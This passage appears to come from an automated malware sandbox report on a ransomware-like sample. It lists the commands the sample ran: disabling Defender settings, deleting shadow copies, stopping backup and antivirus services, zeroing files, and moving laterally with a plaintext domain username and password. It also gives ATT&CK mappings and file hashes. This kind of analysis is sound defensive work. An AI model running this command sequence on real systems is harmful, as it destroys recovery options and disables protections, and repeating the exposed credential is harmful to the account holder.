  - Suspicious use of AdjustPrivilegeToken
  PID:4336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
  2⤵
  PID:1952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
  2⤵
  PID:3276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  PID:2236
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:1236
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:5460
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:4540
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1176
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:4972
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:736
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:3768
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:616
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:4224
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:4976
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:2204
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2192
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:2344
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2820
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:3420
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:4496
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2816
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  PID:4728
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  PID:3472
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  PID:4168
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3068
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:216
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:4832
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:3228
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:1556
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:5880
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:1500
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:5952
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:4920
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:5384
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:4364
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:5920
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:4480
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:5632
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:3452
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:5856
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:4408
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:5568
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:2164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:5664
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:2340
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:5820
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:4908
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:5584
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:4500
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:5936
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:3108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:5744
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:3348
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:5864
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:236
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:5828
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2904
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:6108
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:672
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:5928
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:3680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:6036
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:3048
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:6124
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:3116
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:5468
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:4980
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:5608
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:2872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:5616
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:4176
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:5756
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:3128
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:5872
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:2824
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:5596
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:948
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:5944
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:3592
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:5388
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:1652
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:5836
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:3392
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:5232
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:4180
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:5812
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:4432
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:5764
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:2440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:5692
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:1596
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:5964
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:4140
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:5792
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:3140
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:5524
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:4932
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:5556
- C:\Windows\SYSTEM32\net.exe
  "net.exe" use \\10.127.0.59 /USER:SHJPOLICE\amer !Omar2012
  2⤵
  PID:5340
- C:\Windows\SYSTEM32\arp.exe
  "arp" -a
  2⤵
  PID:4216
- C:\Users\Admin\AppData\Local\Temp\ll1opv2k.exe
  "C:\Users\Admin\AppData\Local\Temp\ll1opv2k.exe" \10.127.0.59 -u SHJPOLICE\amer -p !Omar2012 -d -f -h -s -n 2 -c C:\Users\Admin\AppData\Local\Temp\c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
  2⤵
  - Executes dropped EXE
  PID:2208
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta
  2⤵
  - Blocklisted process makes network request
  PID:5508
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:4944
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:5952
- - C:\Windows\system32\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:5648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
  2⤵
  PID:2276
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5812
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:4104

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4472

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
26da8efb91d659b6e2f519248d1a54b0

SHA1
ce6f222268c2777f93047330f3dd96a9e4caa286

SHA256
c5faa79e0c81d63d37388c21bc22d4db714d0fa326a0496ad6175e1cb68211d2

SHA512
d88bf6ebcffd020bfe5091c1c018f6fe81aae9e69946f88792f9a2a1a75d1310b1fe5ee75cb348de235426d3f32ce08267cab3a08c8028f3702663c99e999ccd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
bafa74288b3cb6198b6a237a475e4982

SHA1
8b450e7a7733ae46215220e4a2596ad492df1794

SHA256
4edaa7ef99d247673bf8b154523f76f0c659239eb7c72ea2a101af7a7649d04f

SHA512
070f0b64b73bf70a90b64decb0bc319accab7213d719b94f55ffc8aac65d7254f676ff6898f1b2205c8e43ea505d89b025b99c5f725f750977be0a25268dbcc1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7810c837a471a8b92de623cc49787e37

SHA1
27f3cd14035ade4729c3ad6b6ca7de980967d46c

SHA256
f86ddd957dc16c97836d47c38789dce0f564869554262315daa12217c69a4d0e

SHA512
daa4b9616c410b2c7b5d6048d8b26b7bd4286d58d7355b966abba8fb2d1691b4c0756c963fdb0d12f4785beaf0806477b6529d0ccbc4a16aeb1d658519e94d28

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7810c837a471a8b92de623cc49787e37

SHA1
27f3cd14035ade4729c3ad6b6ca7de980967d46c

SHA256
f86ddd957dc16c97836d47c38789dce0f564869554262315daa12217c69a4d0e

SHA512
daa4b9616c410b2c7b5d6048d8b26b7bd4286d58d7355b966abba8fb2d1691b4c0756c963fdb0d12f4785beaf0806477b6529d0ccbc4a16aeb1d658519e94d28

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
111107c9ad8321154d719d0a28e84598

SHA1
08f1298632e875037819b6ab99a54b3bc203744c

SHA256
645831477e70a3eab0e7348f132a0d89906133089c324752b4cd87eba640253f

SHA512
237375caf86187b1be56e73b2eace1de109f5131b031cebbd626cab3f737c95e00a6d8ed273e6a4c77e05b9dcb41a7d553f233e1e6464fd468c92a74bf675d8e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a3b0ff53d2657454b992d0cb6c46e38a

SHA1
0c9a724950d24600a6f9912a36bb5ced3f52676f

SHA256
d24a0897222082e9a7730dea43eab8ac4244d43935a9bb13584f440665ed4c64

SHA512
13a2dd78b141536b83575545d7dfb0dca2a2870379fc240abbced70110c834ed3847eda8b552d3deb193635bdf0a6659d81c083dcdf9231bb633350c1c08baec

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a3b0ff53d2657454b992d0cb6c46e38a

SHA1
0c9a724950d24600a6f9912a36bb5ced3f52676f

SHA256
d24a0897222082e9a7730dea43eab8ac4244d43935a9bb13584f440665ed4c64

SHA512
13a2dd78b141536b83575545d7dfb0dca2a2870379fc240abbced70110c834ed3847eda8b552d3deb193635bdf0a6659d81c083dcdf9231bb633350c1c08baec

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a3b0ff53d2657454b992d0cb6c46e38a

SHA1
0c9a724950d24600a6f9912a36bb5ced3f52676f

SHA256
d24a0897222082e9a7730dea43eab8ac4244d43935a9bb13584f440665ed4c64

SHA512
13a2dd78b141536b83575545d7dfb0dca2a2870379fc240abbced70110c834ed3847eda8b552d3deb193635bdf0a6659d81c083dcdf9231bb633350c1c08baec

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f56259a5bd7744a7b5ca7b79c9e97be6

SHA1
5f23f15a3a6d790e083dbd3723114bcc925fb0b5

SHA256
eff688f9a7401ecdc1f1c93caefc4871837090d71b45f5d7b507fe3dd7128ae4

SHA512
1bdeca90aaea1a35c7f30a83946883a4c267f60f3d1f0068548005f6d180f86aa7452918b0fc28fa8a5f51f98338b9492cc255c4404e87a107ee4f3748b59850

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ad2b94ceb071171c8ddd8faa1ad5a6a7

SHA1
ceae65c25305451ef0d2811df83efd295e978d41

SHA256
77b1f90d4291cd4c161acc0e5c900fd21bcc863d4feb966da342370f8bfa70a4

SHA512
27246f675533c75063144c68ec06761a4f45f9748a7152c496888279799dea13745284240e172a20d9dd8939d08ad67e4bf0f88a68f8f9a6ac97de3e3882d0c2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ad2b94ceb071171c8ddd8faa1ad5a6a7

SHA1
ceae65c25305451ef0d2811df83efd295e978d41

SHA256
77b1f90d4291cd4c161acc0e5c900fd21bcc863d4feb966da342370f8bfa70a4

SHA512
27246f675533c75063144c68ec06761a4f45f9748a7152c496888279799dea13745284240e172a20d9dd8939d08ad67e4bf0f88a68f8f9a6ac97de3e3882d0c2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4f09ae73aecef8253e517dfd0ccfe5f1

SHA1
52afae247ffe075fbe094fe77878eb8632952440

SHA256
201aeb79eb5f2ef276706bb6fd74b7570225485a62ab6ccc724f0950c42ffee0

SHA512
75c9169e9397439a25a166535dbe87ef1858768ee336f344169dea9dedc848a7e30e59bab5a836e80b0014ff4d8b2ced25a5eda8767dc4469293f858ca95e4ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l2sy4v5n.zea.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\ll1opv2k.exe

Filesize
219KB

MD5
b1dfb4f9eb3e598d1892a3bd3a92f079

SHA1
0fc135b131d0bb47c9a0aaf02490701303b76d3b

SHA256
ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb

SHA512
98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

Download Submit
C:\Users\Admin\AppData\Local\Temp\ll1opv2k.exe

Filesize
219KB

MD5
b1dfb4f9eb3e598d1892a3bd3a92f079

SHA1
0fc135b131d0bb47c9a0aaf02490701303b76d3b

SHA256
ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb

SHA512
98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta

Filesize
1KB

MD5
825170f4d5ef070317b3c521fb9c78c6

SHA1
9ba23c8eb4d5e485f08813d0745a0716eaf2898b

SHA256
7a5f2840c66bda1a85d6d746295e34836d7baab35b46674593abaa6303980c7f

SHA512
25df7750e511b4d7932373b4a7148796715c26f3f69e1665c7dd775b96c822d9c03ee400347acdca14cc16642f28ed3c07c6dc1e0943ae9f087aa249e0154144

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
446B

MD5
e0c1cbf01d677aaa2f53d0749d3ab827

SHA1
d156f72a429992b2b4171d0c837a2ae339dc896b

SHA256
4f9370a78b82355a60610206c7e28839ec33d70f3040f0476a3467282fdedfae

SHA512
9c2167318aa14ed7c43556cd51e5e6d5c1d141f1d0295cc48df5ca033d7de34d594a36662201a9f47611bd12274ad6bcf9b93542ac7a046454359139c96b27bf

Download Submit
memory/68-100-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/68-246-0x00000248532D0000-0x00000248532E0000-memory.dmp

Filesize
64KB

Download
memory/68-101-0x00000248532D0000-0x00000248532E0000-memory.dmp

Filesize
64KB

Download
memory/68-430-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/68-115-0x00000248532D0000-0x00000248532E0000-memory.dmp

Filesize
64KB

Download
memory/1952-447-0x0000024820290000-0x00000248202A0000-memory.dmp

Filesize
64KB

Download
memory/2596-87-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/2596-370-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/2596-95-0x000001F6C5B80000-0x000001F6C5B90000-memory.dmp

Filesize
64KB

Download
memory/2596-113-0x000001F6C5B80000-0x000001F6C5B90000-memory.dmp

Filesize
64KB

Download
memory/2596-205-0x000001F6C5B80000-0x000001F6C5B90000-memory.dmp

Filesize
64KB

Download
memory/3272-110-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/3272-112-0x00000222E6A90000-0x00000222E6AA0000-memory.dmp

Filesize
64KB

Download
memory/3272-379-0x00000222E6A90000-0x00000222E6AA0000-memory.dmp

Filesize
64KB

Download
memory/3272-118-0x00000222E6A90000-0x00000222E6AA0000-memory.dmp

Filesize
64KB

Download
memory/3808-438-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/3808-116-0x00000162CC850000-0x00000162CC860000-memory.dmp

Filesize
64KB

Download
memory/3808-104-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/3808-374-0x00000162CC850000-0x00000162CC860000-memory.dmp

Filesize
64KB

Download
memory/4232-384-0x0000019BF3FD0000-0x0000019BF3FE0000-memory.dmp

Filesize
64KB

Download
memory/4232-405-0x0000019BF3FD0000-0x0000019BF3FE0000-memory.dmp

Filesize
64KB

Download
memory/4232-78-0x0000019BF3FD0000-0x0000019BF3FE0000-memory.dmp

Filesize
64KB

Download
memory/4232-82-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/4232-91-0x0000019BF3FD0000-0x0000019BF3FE0000-memory.dmp

Filesize
64KB

Download
memory/4232-216-0x0000019BF3FD0000-0x0000019BF3FE0000-memory.dmp

Filesize
64KB

Download
memory/4232-419-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/4232-450-0x0000019BF3FD0000-0x0000019BF3FE0000-memory.dmp

Filesize
64KB

Download
memory/4336-109-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/4336-395-0x000002D23AD30000-0x000002D23AD40000-memory.dmp

Filesize
64KB

Download
memory/4388-155-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/4388-209-0x000000001AED0000-0x000000001AEE0000-memory.dmp

Filesize
64KB

Download
memory/4388-2-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/4388-0-0x0000000000210000-0x000000000022C000-memory.dmp

Filesize
112KB

Download
memory/4388-1-0x000000001B640000-0x000000001B742000-memory.dmp

Filesize
1.0MB

Download
memory/4388-3-0x000000001AED0000-0x000000001AEE0000-memory.dmp

Filesize
64KB

Download
memory/4396-10-0x000001979F0E0000-0x000001979F162000-memory.dmp

Filesize
520KB

Download
memory/4396-55-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/4396-9-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/4396-11-0x000001979F1A0000-0x000001979F1B0000-memory.dmp

Filesize
64KB

Download
memory/4396-30-0x00000197B7CA0000-0x00000197B7CEA000-memory.dmp

Filesize
296KB

Download
memory/4396-13-0x000001979F1A0000-0x000001979F1B0000-memory.dmp

Filesize
64KB

Download
memory/4396-31-0x000001979F1A0000-0x000001979F1B0000-memory.dmp

Filesize
64KB

Download
memory/4396-12-0x000001979EFA0000-0x000001979EFB0000-memory.dmp

Filesize
64KB

Download
memory/4396-17-0x00000197B78A0000-0x00000197B7916000-memory.dmp

Filesize
472KB

Download
memory/4396-14-0x000001979F080000-0x000001979F0A2000-memory.dmp

Filesize
136KB

Download
memory/4472-234-0x00000204C63A0000-0x00000204C63B0000-memory.dmp

Filesize
64KB

Download
memory/4472-74-0x00000204C63A0000-0x00000204C63B0000-memory.dmp

Filesize
64KB

Download
memory/4472-76-0x00000204C63A0000-0x00000204C63B0000-memory.dmp

Filesize
64KB

Download
memory/4472-400-0x00000204C63A0000-0x00000204C63B0000-memory.dmp

Filesize
64KB

Download
memory/4472-66-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/4472-356-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/4560-390-0x000002507ADB0000-0x000002507ADC0000-memory.dmp

Filesize
64KB

Download
memory/4560-59-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/4560-68-0x000002507ADB0000-0x000002507ADC0000-memory.dmp

Filesize
64KB

Download
memory/4560-72-0x000002507ADB0000-0x000002507ADC0000-memory.dmp

Filesize
64KB

Download
memory/4560-348-0x000002507ADB0000-0x000002507ADC0000-memory.dmp

Filesize
64KB

